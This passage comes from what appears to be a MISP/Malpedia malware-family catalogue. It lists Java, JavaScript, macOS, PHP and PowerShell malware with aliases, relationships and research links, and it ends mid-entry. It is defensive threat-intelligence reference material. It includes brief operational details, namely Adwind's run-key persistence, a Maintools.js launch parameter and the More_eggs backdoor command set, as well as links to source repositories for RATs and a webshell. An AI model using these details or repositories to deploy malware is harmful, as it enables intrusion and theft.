Initial infection vector 1. Email to JAR files attached 2. Malspam URL to downlaod the malware

Persistence - Runkey - HKCU\Software\Microsoft\Windows\current version\run

Hiding Uses attrib.exe

Notes on Adwind The malware is not known to be proxy aware

The tag is: *misp-galaxy:malpedia="AdWind"*

AdWind is also known as:

- AlienSpy
- JSocket
- Frutas
- UNRECOM
- JBifrost
- Sockrat

AdWind has relationships with:

- similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"

Table 695. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.adwind
https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html
http://blog.trendmicro.com/trendlabs-security-intelligence/spam-remote-access-trojan-adwind-jrat
http://malware-traffic-analysis.net/2017/07/04/index.html
https://codemetrix.net/decrypting-adwind-jrat-jbifrost-trojan/
https://gist.github.com/herrcore/8336975475e88f9bc539d94000412885
https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html

CrossRAT

The tag is: *misp-galaxy:malpedia="CrossRAT"*

CrossRAT is also known as:

- Trupto

Table 696. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.crossrat
https://objective-see.com/blog/blog_0x28.html
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

jRAT

jRAT, also known as Jacksbot, is a RAT with history, written in Java. It has support for macOS, Linux, Windows and various BSD. It also has functionality to participate in DDoS-attacks as well as to perform click fraud. Note that the Adwind family often is mistakenly labeled as jRAT, because of of a red hering reference to jrat.io.

The tag is: *misp-galaxy:malpedia="jRAT"*

jRAT is also known as:

- Jacksbot

jRAT has relationships with:

- similar: misp-galaxy:rat="jRAT" with estimative-language:likelihood-probability="likely"

Table 697. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.jrat
https://github.com/java-rat
https://www.intego.com/mac-security-blog/new-multiplatform-backdoor-jacksbot-discovered
https://blog.trendmicro.com/trendlabs-security-intelligence/jacksbot-has-some-dirty-tricks-up-its-sleeves/

jSpy

The tag is: *misp-galaxy:malpedia="jSpy"*

jSpy is also known as:

jSpy has relationships with:

- similar: misp-galaxy:rat="jSpy" with estimative-language:likelihood-probability="likely"

Table 698. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.jspy

https://how-to-hack.net/hacking-guides/review-of-jspy-rat-jspy-net/

Qarallax RAT

According to SpiderLabs, in May 2015 the "company" Quaverse offered a RAT known as Quaverse RAT or QRAT. At around May 2016, this QRAT evolved into another RAT which became known as Qarallax RAT, because its C2 is at qarallax.com. Quaverse also offers a service to encrypt Java payloads (Qrypter), and thus qrypted payloads are sometimes confused with Quaverse RATs (QRAT / Qarallax RAT).

The tag is: *misp-galaxy:malpedia="Qarallax RAT"*

Qarallax RAT is also known as:

Table 699. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.qarallax_rat
https://labsblog.f-secure.com/2016/06/07/qarallax-rat-spying-on-us-visa-applicants/
http://www.certego.net/en/news/nearly-undetectable-qarallax-rat-spreading-via-spam/

QRat

QRat, also known as Quaverse RAT, was introduced in May 2015 as undetectable (because of multiple layers of obfuscation). It offers the usual functionality (password dumper, file browser, keylogger, screen shots/streaming, ...), and it comes as a SaaS. For additional historical context, please see jar.qarallax.

The tag is: *misp-galaxy:malpedia="QRat"*

QRat is also known as:

- Quaverse RAT

Table 700. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.qrat
https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT—Remote-Access-as-a-Service/
https://www.digitrustgroup.com/java-rat-qrat/
https://blogs.forcepoint.com/security-labs/look-qrypter-adwind%E2%80%99s-major-rival-cross-platform-maas-market

Ratty

Ratty is an open source Java RAT, made available on GitHub and promoted heavily on HackForums.

At some point in 2016 / 2017 the original author deleted his repository, but several clones exist.

The tag is: *misp-galaxy:malpedia="Ratty"*

Ratty is also known as:

Ratty has relationships with:

- similar: misp-galaxy:rat="Ratty" with estimative-language:likelihood-probability="likely"

Table 701. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.ratty
https://github.com/shotskeber/Ratty

AIRBREAK

The tag is: *misp-galaxy:malpedia="AIRBREAK"*

AIRBREAK is also known as:

AIRBREAK has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Orz - S0229" with estimative-language:likelihood-probability="likely"

Table 702. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.airbreak
https://www.fireeye.com/blog/threat-research/2018/07/chinese-espionage-group-targets-cambodia-ahead-of-elections.html

Bateleur

The tag is: *misp-galaxy:malpedia="Bateleur"*

Bateleur is also known as:

Bateleur has relationships with:

- similar: misp-galaxy:tool="Bateleur" with estimative-language:likelihood-probability="likely"

Table 703. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.bateleur
https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor

CryptoNight

WebAssembly-based crpyto miner.

The tag is: *misp-galaxy:malpedia="CryptoNight"*

CryptoNight is also known as:

Table 704. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.cryptonight
https://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec
https://twitter.com/JohnLaTwC/status/983011262731714565

CukieGrab

The tag is: *misp-galaxy:malpedia="CukieGrab"*

CukieGrab is also known as:

- Roblox Trade Assist

Table 705. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.cukiegrab_crx
http://blog.trendmicro.com/trendlabs-security-intelligence/malicous-chrome-extensions-stealing-roblox-game-currency-sending-cookies-via-discord/

KopiLuwak

The tag is: *misp-galaxy:malpedia="KopiLuwak"*

KopiLuwak is also known as:

Table 706. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.kopiluwak
https://securelist.com/blog/research/77429/kopiluwak-a-new-javascript-payload-from-turla/
https://www.proofpoint.com/us/threat-insight/post/turla-apt-actor-refreshes-kopiluwak-javascript-backdoor-use-g20-themed-attack

magecart

The tag is: *misp-galaxy:malpedia="magecart"*

magecart is also known as:

Table 707. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.magecart
https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/

More_eggs

More_eggs is a JavaScript backdoor used by the Cobalt group. It attempts to connect to its C&C server and retrieve tasks to carry out, some of which are: - d&exec = download and execute PE file - gtfo = delete files/startup entries and terminate - more_eggs = download additional/new scripts - more_onion = run new script and terminate current script - more_power = run command shell commands

The tag is: *misp-galaxy:malpedia="More_eggs"*

More_eggs is also known as:

- SpicyOmelette

Table 708. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.more_eggs
https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/
https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/
https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish
https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/
https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html
https://asert.arbornetworks.com/double-the-infection-double-the-fun/
https://blog.morphisec.com/cobalt-gang-2.0

Powmet

The tag is: *misp-galaxy:malpedia="Powmet"*

Powmet is also known as:

Table 709. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.powmet

http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/

scanbox

The tag is: *misp-galaxy:malpedia="scanbox"*

scanbox is also known as:

Table 710. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.scanbox
https://www.alienvault.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
http://resources.infosecinstitute.com/scanbox-framework/

HTML5 Encoding

The tag is: *misp-galaxy:malpedia="HTML5 Encoding"*

HTML5 Encoding is also known as:

Table 711. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_ff_ext
https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/

Maintools.js

Expects a parameter to run: needs to be started as 'maintools.js EzZETcSXyKAdF_e5I2i1'.

The tag is: *misp-galaxy:malpedia="Maintools.js"*

Maintools.js is also known as:

Table 712. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_maintools
https://twitter.com/JohnLaTwC/status/915590893155098629

Unidentified 050 (APT32 Profiler)

The tag is: *misp-galaxy:malpedia="Unidentified 050 (APT32 Profiler)"*

Unidentified 050 (APT32 Profiler) is also known as:

Table 713. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_050
https://gist.github.com/9b/141a5c7ab8b4280901722e2cd931b7ef
https://community.riskiq.com/projects/53b4bd1e-dad0-306b-7712-d2a608400c8f

witchcoven

The tag is: *misp-galaxy:malpedia="witchcoven"*

witchcoven is also known as:

Table 714. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.witchcoven
https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf

Bella

The tag is: *misp-galaxy:malpedia="Bella"*

Bella is also known as:

Table 715. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.bella
https://blog.malwarebytes.com/threat-analysis/2017/05/another-osx-dok-dropper-found-installing-new-backdoor/
https://github.com/kai5263499/Bella

Careto

The tag is: *misp-galaxy:malpedia="Careto"*

Careto is also known as:

- Mask
- Appetite

Table 716. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.careto

https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed

CoinThief

The tag is: *misp-galaxy:malpedia="CoinThief"*

CoinThief is also known as:

Table 717. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.cointhief
https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed

Coldroot RAT

The tag is: *misp-galaxy:malpedia="Coldroot RAT"*

Coldroot RAT is also known as:

Table 718. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.coldroot_rat
https://objective-see.com/blog/blog_0x2A.html

CpuMeaner

The tag is: *misp-galaxy:malpedia="CpuMeaner"*

CpuMeaner is also known as:

CpuMeaner has relationships with:

- similar: misp-galaxy:tool="CpuMeaner" with estimative-language:likelihood-probability="likely"

Table 719. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.cpumeaner
https://www.sentinelone.com/blog/osx-cpumeaner-miner-trojan-software-pirates/

CreativeUpdater

The tag is: *misp-galaxy:malpedia="CreativeUpdater"*

CreativeUpdater is also known as:

Table 720. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.creative_updater
https://blog.malwarebytes.com/threat-analysis/2018/02/new-mac-cryptominer-distributed-via-a-macupdate-hack/
https://digitasecurity.com/blog/2018/02/05/creativeupdater/
https://objective-see.com/blog/blog_0x29.html

Crisis

The tag is: *misp-galaxy:malpedia="Crisis"*

Crisis is also known as:

Crisis has relationships with:

- similar: misp-galaxy:malpedia="RCS" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Crisis" with estimative-language:likelihood-probability="likely"

Table 721. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.crisis
http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html
https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines
https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?

Crossrider

The tag is: *misp-galaxy:malpedia="Crossrider"*

Crossrider is also known as:

Table 722. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.crossrider
https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/?utm_source=twitter&utm_medium=social

Dockster

The tag is: *misp-galaxy:malpedia="Dockster"*

Dockster is also known as:

Table 723. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.dockster
http://contagiodump.blogspot.com/2012/12/osxdockstera-and-win32trojanagentaxmo.html
https://www.f-secure.com/weblog/archives/00002466.html

Dummy

The tag is: *misp-galaxy:malpedia="Dummy"*

Dummy is also known as:

Table 724. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.dummy
https://objective-see.com/blog/blog_0x32.html

EvilOSX

The tag is: *misp-galaxy:malpedia="EvilOSX"*

EvilOSX is also known as:

Table 725. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilosx
https://github.com/Marten4n6/EvilOSX
https://twitter.com/JohnLaTwC/status/966139336436498432

FlashBack

The tag is: *misp-galaxy:malpedia="FlashBack"*

FlashBack is also known as:

Table 726. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.flashback
https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed
http://contagiodump.blogspot.com/2012/04/osxflashbacko-sample-some-domains.html
http://contagiodump.blogspot.com/2012/04/osxflashbackk-sample-mac-os-malware.html

FruitFly

The tag is: *misp-galaxy:malpedia="FruitFly"*

FruitFly is also known as:

- Quimitchin

FruitFly has relationships with:

- similar: misp-galaxy:tool="FruitFly" with estimative-language:likelihood-probability="likely"

Table 727. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.fruitfly
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://arstechnica.com/security/2017/01/newly-discovered-mac-malware-may-have-circulated-in-the-wild-for-2-years/
https://arstechnica.com/security/2017/07/perverse-malware-infecting-hundreds-of-macs-remained-undetected-for-years/
https://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/
https://www.documentcloud.org/documents/4346338-Phillip-Durachinsky-Indictment.html
https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Patrick-Wardle-Offensive-Malware-Analysis-Fruit-Fly-UPDATED..pdf

HiddenLotus

The tag is: *misp-galaxy:malpedia="HiddenLotus"*

HiddenLotus is also known as:

Table 728. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.hiddenlotus
https://blog.malwarebytes.com/threat-analysis/2017/12/interesting-disguise-employed-by-new-mac-malware/

iMuler

The tag is: *misp-galaxy:malpedia="iMuler"*

iMuler is also known as:

- Revir

Table 729. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.imuler
http://contagiodump.blogspot.com/2012/11/group-photoszip-osxrevir-osximuler.html
https://nakedsecurity.sophos.com/2012/11/13/new-mac-trojan/

KeRanger

The tag is: *misp-galaxy:malpedia="KeRanger"*

KeRanger is also known as:

KeRanger has relationships with:

- similar: misp-galaxy:ransomware="KeRanger" with estimative-language:likelihood-probability="likely"

Table 730. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.keranger
https://objective-see.com/blog/blog_0x16.html
http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/
https://www.macworld.com/article/3234650/macs/keranger-the-first-in-the-wild-ransomware-for-macs-but-certainly-not-the-last.html

Keydnap

The tag is: *misp-galaxy:malpedia="Keydnap"*

Keydnap is also known as:

Table 731. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.keydnap
https://objective-see.com/blog/blog_0x16.html
http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
https://github.com/eset/malware-ioc/tree/master/keydnap

Kitmos

The tag is: *misp-galaxy:malpedia="Kitmos"*

Kitmos is also known as:

- KitM

Table 732. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.kitmos
https://www.f-secure.com/weblog/archives/00002558.html

Komplex

The tag is: *misp-galaxy:malpedia="Komplex"*

Komplex is also known as:

- SedUploader
- JHUHUGIT
- JKEYSKW

Komplex has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"

Table 733. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.komplex
http://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://objective-see.com/blog/blog_0x16.html
https://blog.malwarebytes.com/threat-analysis/2016/09/komplex-mac-backdoor-answers-old-questions/
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf

Laoshu

The tag is: *misp-galaxy:malpedia="Laoshu"*

Laoshu is also known as:

Table 734. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.laoshu
https://objective-see.com/blog/blog_0x16.html
https://nakedsecurity.sophos.com/2014/01/21/data-stealing-malware-targets-mac-users-in-undelivered-courier-item-attack/

Leverage

The tag is: *misp-galaxy:malpedia="Leverage"*

Leverage is also known as:

Table 735. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.leverage
https://www.volexity.com/blog/2017/07/24/real-news-fake-flash-mac-os-x-users-targeted/
https://www.alienvault.com/blogs/labs-research/osx-leveragea-analysis

MacDownloader

The tag is: *misp-galaxy:malpedia="MacDownloader"*

MacDownloader is also known as:

MacDownloader has relationships with:

- similar: misp-galaxy:tool="MacDownloader" with estimative-language:likelihood-probability="likely"

Table 736. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macdownloader
https://iranthreats.github.io/resources/macdownloader-macos-malware/

MacInstaller

The tag is: *misp-galaxy:malpedia="MacInstaller"*

MacInstaller is also known as:

Table 737. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macinstaller
https://objective-see.com/blog/blog_0x16.html

MacRansom

The tag is: *misp-galaxy:malpedia="MacRansom"*

MacRansom is also known as:

MacRansom has relationships with:

- similar: misp-galaxy:ransomware="MacRansom" with estimative-language:likelihood-probability="likely"

Table 738. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macransom
https://blog.fortinet.com/2017/06/09/macransom-offered-as-ransomware-as-a-service
https://objective-see.com/blog/blog_0x1E.html

MacSpy

The tag is: *misp-galaxy:malpedia="MacSpy"*

MacSpy is also known as:

MacSpy has relationships with:

- similar: misp-galaxy:rat="MacSpy" with estimative-language:likelihood-probability="likely"

Table 739. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macspy
https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service

MacVX

The tag is: *misp-galaxy:malpedia="MacVX"*

MacVX is also known as:

Table 740. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macvx
https://objective-see.com/blog/blog_0x16.html

MaMi

The tag is: *misp-galaxy:malpedia="MaMi"*

MaMi is also known as:

Table 741. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.mami
https://objective-see.com/blog/blog_0x26.html

Mokes

The tag is: *misp-galaxy:malpedia="Mokes"*

Mokes is also known as:

Table 742. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.mokes
https://objective-see.com/blog/blog_0x16.html
https://securelist.com/blog/research/75990/the-missing-piece-sophisticated-os-x-backdoor-discovered/

Mughthesec

The tag is: *misp-galaxy:malpedia="Mughthesec"*

Mughthesec is also known as:

Mughthesec has relationships with:

- similar: misp-galaxy:tool="Mughthesec" with estimative-language:likelihood-probability="likely"

Table 743. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.mughthesec
https://objective-see.com/blog/blog_0x20.html

OceanLotus

The tag is: *misp-galaxy:malpedia="OceanLotus"*

OceanLotus is also known as:

Table 744. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.oceanlotus
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
https://researchcenter.paloaltonetworks.com/2017/06/unit42-new-improved-macos-backdoor-oceanlotus/
https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/

Olyx

The tag is: *misp-galaxy:malpedia="Olyx"*

Olyx is also known as:

Table 745. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.olyx
http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html
https://news.drweb.com/show/?i=1750&lng=en&c=14

Patcher

The tag is: *misp-galaxy:malpedia="Patcher"*

Patcher is also known as:

- Findzip

Patcher has relationships with:

- similar: misp-galaxy:ransomware="Patcher" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="FileCoder" with estimative-language:likelihood-probability="likely"

Table 746. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.patcher
http://www.welivesecurity.com/2017/02/22/new-crypto-ransomware-hits-macos/

Pirrit

The tag is: *misp-galaxy:malpedia="Pirrit"*

Pirrit is also known as:

Table 747. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.pirrit
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
http://www.zdnet.com/article/maker-of-sneaky-mac-adware-sends-security-researcher-cease-and-desist-letter/

Proton RAT

The tag is: *misp-galaxy:malpedia="Proton RAT"*

Proton RAT is also known as:

- Calisto

Table 748. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.proton_rat
https://www.cybereason.com/labs-blog/labs-proton-b-what-this-mac-malware-actually-does
https://blog.malwarebytes.com/threat-analysis/mac-threat-analysis/2017/11/osx-proton-spreading-through-fake-symantec-blog/
https://objective-see.com/blog/blog_0x1D.html
https://securelist.com/calisto-trojan-for-macos/86543/
https://threatpost.com/handbrake-for-mac-compromised-with-proton-spyware/125518/
https://objective-see.com/blog/blog_0x1F.html
https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/
https://www.hackread.com/hackers-selling-undetectable-proton-mac-malware/
https://www.cybersixgill.com/wp-content/uploads/2017/02/02072017%20-%20Proton%20-%20A%20New%20MAC%20OS%20RAT%20-%20Sixgill%20Threat%20Report.pdf

Pwnet

Cryptocurrency miner that was distributed masquerading as a Counter-Strike: Global Offensive hack.

The tag is: *misp-galaxy:malpedia="Pwnet"*

Pwnet is also known as:

Pwnet has relationships with:

- similar: misp-galaxy:tool="Pwnet" with estimative-language:likelihood-probability="likely"

Table 749. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.pwnet
https://sentinelone.com/blog/osx-pwnet-a-csgo-hack-and-sneaky-miner/

Dok

The tag is: *misp-galaxy:malpedia="Dok"*

Dok is also known as:

- Retefe

Dok has relationships with:

- similar: misp-galaxy:malpedia="Retefe" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Retefe" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Dok" with estimative-language:likelihood-probability="likely"

Table 750. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.retefe
http://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/
http://www.brycampbell.co.uk/new-blog/2017/4/30/retefe-and-osxdok-one-and-the-same
https://blog.checkpoint.com/2017/07/13/osxdok-refuses-go-away-money/
https://www.govcert.admin.ch/blog/33/the-retefe-saga

systemd

General purpose backdoor

The tag is: *misp-galaxy:malpedia="systemd"*

systemd is also known as:

Table 751. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.systemd
https://vms.drweb.com/virus/?_is=1&i=15299312&lng=en

Uroburos

The tag is: *misp-galaxy:malpedia="Uroburos"*

Uroburos is also known as:

Uroburos has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Uroburos - S0022" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Turla" with estimative-language:likelihood-probability="likely"

Table 752. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.uroburos
https://blog.fox-it.com/2017/05/03/snake-coming-soon-in-mac-os-x-flavour/
https://blog.malwarebytes.com/threat-analysis/2017/05/snake-malware-ported-windows-mac/

Winnti

The tag is: *misp-galaxy:malpedia="Winnti"*

Winnti is also known as:

Winnti has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Winnti - S0141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Winnti" with estimative-language:likelihood-probability="likely"

Table 753. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.winnti
https://401trg.pw/an-update-on-winnti/
https://401trg.pw/winnti-evolution-going-open-source/

WireLurker

The tag is: *misp-galaxy:malpedia="WireLurker"*

WireLurker is also known as:

WireLurker has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-malware="WireLurker - MOB-S0028" with estimative-language:likelihood-probability="likely"

Table 754. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.wirelurker
https://objective-see.com/blog/blog_0x16.html
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

Wirenet

The tag is: *misp-galaxy:malpedia="Wirenet"*

Wirenet is also known as:

Table 755. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.wirenet
http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html
https://news.drweb.com/show/?i=2679&lng=en&c=14

X-Agent

The tag is: *misp-galaxy:malpedia="X-Agent"*

X-Agent is also known as:

X-Agent has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-mobile-attack-malware="X-Agent - MOB-S0030" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"

Table 756. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.xagent
https://twitter.com/PhysicalDrive0/status/845009226388918273
https://download.bitdefender.com/resources/files/News/CaseStudies/study/143/Bitdefender-Whitepaper-APT-Mac-A4-en-EN-web.pdf
http://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/

XSLCmd

The tag is: *misp-galaxy:malpedia="XSLCmd"*

XSLCmd is also known as:

Table 757. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.xslcmd
https://objective-see.com/blog/blog_0x16.html

PAS

The tag is: *misp-galaxy:malpedia="PAS"*

PAS is also known as:

Table 758. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.pas
https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity
https://blog.erratasec.com/2016/12/some-notes-on-iocs.html

WSO

The tag is: *misp-galaxy:malpedia="WSO"*

WSO is also known as:

- Webshell by Orb

Table 759. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.wso
https://github.com/wso-shell

https://securelist.com/energetic-bear-crouching-yeti/85345/

Silence DDoS

The tag is: *misp-galaxy:malpedia="Silence DDoS"*

Silence DDoS is also known as:

Table 760. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/pl.silence_ddos
https://www.group-ib.com/resources/threat-research/silence.html

BONDUPDATER

The tag is: *misp-galaxy:malpedia="BONDUPDATER"*

BONDUPDATER is also known as:

Table 761. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.bondupdater
https://www.boozallen.com/s/insight/blog/dark-labs-discovers-apt34-malware-variants.html?cid=spo-csatb-2

GhostMiner

The tag is: *misp-galaxy:malpedia="GhostMiner"*

GhostMiner is also known as:

Table 762. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ghostminer
https://blog.minerva-labs.com/ghostminer-cryptomining-malware-goes-fileless

POSHSPY

The tag is: *misp-galaxy:malpedia="POSHSPY"*

POSHSPY is also known as:

POSHSPY has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="POSHSPY - S0150" with estimative-

language:likelihood-probability="likely"

Table 763. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.poshspy
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
https://github.com/matthewdunwoody/POSHSPY

PowerWare

The tag is: *misp-galaxy:malpedia="PowerWare"*

PowerWare is also known as:

PowerWare has relationships with:

- similar: misp-galaxy:ransomware="PowerWare" with estimative-language:likelihood-probability="likely"

Table 764. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerware
https://blog.cylance.com/ransomware-update-todays-bountiful-cornucopia-of-extortive-threats

POWRUNER

The tag is: *misp-galaxy:malpedia="POWRUNER"*

POWRUNER is also known as:

POWRUNER has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="POWRUNER - S0184" with estimative-language:likelihood-probability="likely"

Table 765. Table References

Links
